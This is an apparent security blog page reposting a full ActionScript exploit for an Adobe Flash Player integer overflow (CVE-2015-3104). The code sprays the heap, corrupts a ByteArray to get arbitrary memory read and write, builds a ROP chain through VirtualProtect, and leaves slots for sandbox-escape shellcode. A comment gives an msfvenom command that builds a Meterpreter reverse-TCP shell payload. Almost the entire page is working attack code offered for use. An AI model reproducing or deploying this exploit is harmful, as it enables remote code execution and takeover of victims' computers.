Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863105262

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

// Exploit Title: Adobe Flash Player - Integer Overflow
// Exploit Author: Matteo Memelli (ryujin@offensive-security)
// Date: 14/01/2017
// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
// CVE: CVE-2015-3104
// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104

package
{
  import flash.display.*;
  import flash.utils.ByteArray;
  import flash.events.Event;
  import flash.events.MouseEvent;
  import flash.text.*
  import mx.utils.Base64Decoder;

  public class ShaderInputOverflow extends Sprite
  {
  	public var bb:ByteArray = null;
	public var allocate:Array;
	public var MAX_ARRAY:uint = 81920;
	public var text:TextField = new TextField();
	public var gText:String = "";
	public var corrupted:uint = 0;
	public var corrupted_ba_address:uint = 0;
	public var corrupted_ba_pos:uint = 0;
	public var next_ba_address:uint = 0;
	public var NPSWF32Base:uint = 0;

    public function ShaderInputOverflow():void
    {
		if (stage) drawText();
		else addEventListener(Event.ADDED_TO_STAGE, drawText);
		drawText();

		var i:uint;
		allocate = new Array();

		for (i = 0; i < MAX_ARRAY; i++) {
		  bb = new ByteArray();
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  allocate.push(bb);
		}

		// We create "holes" of size 0x18 bytes on the heap
		i = MAX_ARRAY/2;
		while (i<MAX_ARRAY)
		{
		if (i % 2 != 0) {
			allocate[i] = null;
		}
		i++;
		}

		var ba:ByteArray = new ByteArray();
		ba.writeByte(0xa1);  // Define parameter?
		ba.writeByte(0x02);  // Output.
		ba.writeByte(0x04);  // Type: 4 floats.
		ba.writeByte(0x00);  // 16-bit field, ??
		ba.writeByte(0x01);
		ba.writeByte(0xff);  // Mask.
		ba.writeByte(0x41);
		ba.writeByte(0x00);  // Param name: 'A'
		ba.writeByte(0xa3);  // Add texture?
		ba.writeByte(0x00);  // Index?
		ba.writeByte(0x40);  // 64 channels.
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x00);  // Texture name: 'BBBB'
		ba.position = 0;
		var baOut:ByteArray = new ByteArray();
		var baIn:ByteArray = new ByteArray();

		// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
		// and the pointer to the data to 0x16000000

		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x41414141); // ptr
		baIn.writeUnsignedInt(0x41414141); // 0x1

		// Offset can be 0x10 bytes
		baIn.writeUnsignedInt(0x16000000); // ptr to data
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0x16000000); // length / ptr to data
		// Another time in case the offset is 0x8 bytes
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0xffffffff); // length

		var job:ShaderJob = new ShaderJob();
		var shader:Shader = new Shader();
		shader.byteCode = ba;
		shader.data.BBBB.width = 8192;
		shader.data.BBBB.height = 8192;
		shader.data.BBBB.input = baIn;
		job.target = baOut;
		job.width = 1;
		job.height = 1;
		job.shader = shader;

		// We need to catch the Error thrown by Flash to continue the execution
		// job.start triggers the copy that causes the heap overflow
		try
		{
			job.start(true);
		}
		catch (err:Error)
		{
			trace("w00t");
		}
		var s:spray = new spray();
		corrupted = findCorrupted();
		allocate[corrupted].position = 0;
		gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
		gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
		findCorruptedAddress();
		gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
		var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
		gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
		NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
		gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";

		// Look for the corrupted ByteArray::Buffer object address
		var tosearch:uint = corrupted_ba_address;
		gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
		var VTableObj:uint = findVTable(tosearch);
		gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
		updateText();

		var methodEnvVtable:uint = readDword(VTableObj+0xd4);
		gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
		updateText();

		// Crash on the Jitted pointer dereference that leads to code execution
		//writeDword((VTableObj+0xd4), 0x42424242);

		// Control the Jitted pointer dereference that leads to code execution
		writeROPChain(NPSWF32Base);

		// Decode and Write the files for the privilege escalation to memory
		var dll:ByteArray = new ByteArray();
		var met:ByteArray = new ByteArray();
		var dec1:Base64Decoder = new Base64Decoder();
		var dec2:Base64Decoder = new Base64Decoder();
		// sandbox exploit code
		dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
		dll = dec1.toByteArray();

		// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
		// base64 pwnd.exe | tr --delete '\n'
		// Meterpreter executable or any other payload…
 		dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
		met = dec2.toByteArray();
		writeBytes(0x1a100000, met);
		writeBytes(0x1a200000, dll);

		writeDword((VTableObj+0xd4), 0x1a000000);
		gText += allocate[corrupted].toString();
    }

	private function hexStringToByteArray(hexstring:String) : ByteArray
    {
		var bindata:ByteArray = new ByteArray();
		bindata.endian = "littleEndian";
		var hexstr:String = null;
		var count:uint = 0;
		while(count < hexstring.length)
		{
			hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));
			bindata.writeByte(parseInt(hexstr, 16));
			count += 2;
		}
		return bindata;
	}

	private function writeROPChain(NPSWF32Base:uint):void
	{

		var ROPaddr:uint = 0x1a00CBE2;

		writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); 				// PIVOT XCHG ECX,ESP...

		// Save stack information to restore the execution flow after shellcode
		writeDword(0x1a000000, (NPSWF32Base+0x00007324)); 				// POP EAX # RETN
		writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ;					// SAVE ECX VALUE HERE
		writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ;	// MOV [EAX],ECX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ;	// POP EAX # RETN
		writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ;					// SAVE EBX VALUE HERE
		writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ;	// MOV [EAX],EBX # POP EBX # POP ECX; RETN
		writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ;					// JUNK
		writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ;					// JUNK

		// Mona Chain
		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ;	// POP EBX # RETN
		writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ;
		writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ;	// POP EDX # RETN
		writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ;
		writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ;	// POP ECX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ;	// &Writable location
		writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ;	// POP EDI # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ;	// ROP NOP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ;	// POP ESI # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ;	// JMP [EAX]
		writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ;	// POP EAX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ;	// ptr to VirtualProtect IAT
		writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ;	// PUSHAD # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ;	// PTR TO JMP ESP

		// NOPsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// shellcode

		var Shellcode:String = new String();

		Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... ";
		writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;

		// Restore component
		// 1a00cc56 8b0d0004001a    mov     ecx,dword ptr ds:[1A000400h]
		// 1a00cc5c 8b1d0404001a    mov     ebx,dword ptr ds:[1A000404h]
		// 1a00cc62 28d9            sub     cl,bl
		// 1a00cc64 87cc            xchg    ecx,esp
		// 1a00cc66 8bec            mov     ebp,esp
		// 1a00cc68 83c52c          add     ebp,2Ch
		// 1a00cc6b 31c0            xor     eax,eax
		// 1a00cc6d c3              ret
		var Restore:String = new String();
		Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3";
		writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;
	}

	private function findVTable(startAddress:uint):uint
	{
		// Find the VTable Object Address within the ByteArrayObject
		allocate[corrupted].endian = "littleEndian";
		var addr:uint = 0;
		var base:uint = 0x16000000;
		var bstart:uint = base;
		var count:uint = 0;
		while (true)
		{
			if (readDword(base) == startAddress)
			{
				addr = bstart+count;
				// ByteArray::Buffer pointer is at offset +0x40
				addr = addr - 0x40;
				// VTable Object pointer is at +0x8
				return readDword(addr+0x8);
			}
			else
			{
				base  += 4;
				count += 4;
			}
		}
		return addr;
	}

	private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
	{
		// Find a DLL base address by appling the scan down technique
		var addr:uint = NPSWF32Ptr & 0xfffff000;
		while (true)
		{
			if (readDword(addr) == 0x00905a4d)
			{
				return addr;
			}
			else
			{
				addr = addr - 0x1000;
			}
		}
		return addr;
	}

	private function readDword(pAddress:uint):uint
	{
		// Read a DWORD from an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		var res:uint = 0;

		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a DWORD from the new address
		res = allocate[corrupted].readUnsignedInt();
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
		return res;
	}

	private function writeDword(pAddress:uint, value:uint):void
	{
		// write a DWORD to an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a DWORD from the new address
		allocate[corrupted].writeUnsignedInt(value);
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
	}

	private function writeBytes(pAddress:uint, data:ByteArray):void
	{
		// write a ByteArray to an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a ByteArray tp the new address
		allocate[corrupted].writeBytes(data, 0, 0);
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
	}

  private function findCorruptedAddress():void
  {
      allocate[corrupted].position = 0;
      allocate[corrupted].endian = "littleEndian";
      while (true)
      {
          if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
          {
              if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
              {
                  // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
                  // otherwise after the two 0x41414141 dwords in case the offset is 0x8

                  // OFFSET 0x10 LENGTH = 0x16000000
                  if (allocate[corrupted].length == 0x16000000)
                      corrupted_ba_pos = allocate[corrupted].position;
                  // OFFSET 0x8  LENGTH = 0xffffffff
                  else
                      corrupted_ba_pos = allocate[corrupted].position + 0x8;
                  // We calculate the address of the corrupted object by using the index
                  // and the base address that we set through the heap overflow.
                  corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
                  // Since every in-use ByteArray object is alternated with a free one
                  // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
                  // from the corrupted one.
                  next_ba_address = corrupted_ba_address + 0x18*2;
                  return;
              }
          }
      }
      return;
  }

	private function findCorrupted():uint
	{
		// Find the corrupted ByteArray::Buffer object.
		// We can find it by checking for a size different from the
		// original 0x10 bytes, since the ByteArray data is 16 bytes
		// for all the objects we allocated, except the corrupted one.
		var i:uint = MAX_ARRAY/2;
		while (i<MAX_ARRAY)
		{
			if (i % 2 == 0)
			{
				if(allocate[i].length != 0x10)
				{
					return i;
				}
			}
			i++;
		}
		return 0;
	}

	public function updateText(e:Event = null):void
	{
		text.text = gText;
	}

	public function drawText(e:Event = null):void
	{
		removeEventListener(Event.ADDED_TO_STAGE, drawText);

		text.text = gText;
		text.width = 300;
		text.height = 100;
		text.x = 10;
		text.y = 10;
		text.multiline = true;
		text.wordWrap = true;
		text.background = true;
		text.border = true;
		var format:TextFormat = new TextFormat();
		format.font = "Verdana";
		format.color = 0xff0000;
		format.size = 8;
		text.defaultTextFormat = format;
		addChild(text);
		text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);
	}

	public function mouseDownScroll(event:MouseEvent):void
	{
		text.scrollV++;
	}

  }
}

import flash.display.MovieClip;
import flash.utils.*;
class spray extends MovieClip
{
	public var allocate:Array;

	public function spray()
	{
		HeapSpray();
	}

	public function HeapSpray() : void
	{
		var chunk_size:uint = 1048576;      // 0x100000
		var block_size:uint = 65536;        // 0x10000
		var heapblocklen:uint = 0;
		var spraychunks:uint = 0;
		var heapblock1:ByteArray;
		var heapblock2:ByteArray;
		var heapblock3:ByteArray;

		heapblock1 = new ByteArray();
		heapblock1.endian = Endian.LITTLE_ENDIAN;

		heapblock1.writeInt(0x41424344);
		heapblocklen = heapblocklen + 4;
		while(heapblocklen < block_size)
		{
			heapblock1.writeByte(0x0d);     // padding to 64K
			heapblocklen = heapblocklen + 1;
		}

		heapblock2 = new ByteArray();

		while(heapblock2.length < chunk_size)
		{
			heapblock2.writeBytes(heapblock1, 0, heapblock1.length);
		}

			allocate = new Array();

		// 600MB spray
		while(spraychunks < 50)
		{
			heapblock3 = new ByteArray();
			heapblock3.writeBytes(heapblock2, 0, heapblock2.length);
			allocate.push(heapblock3);
			spraychunks = spraychunks + 1;
		}
	}
}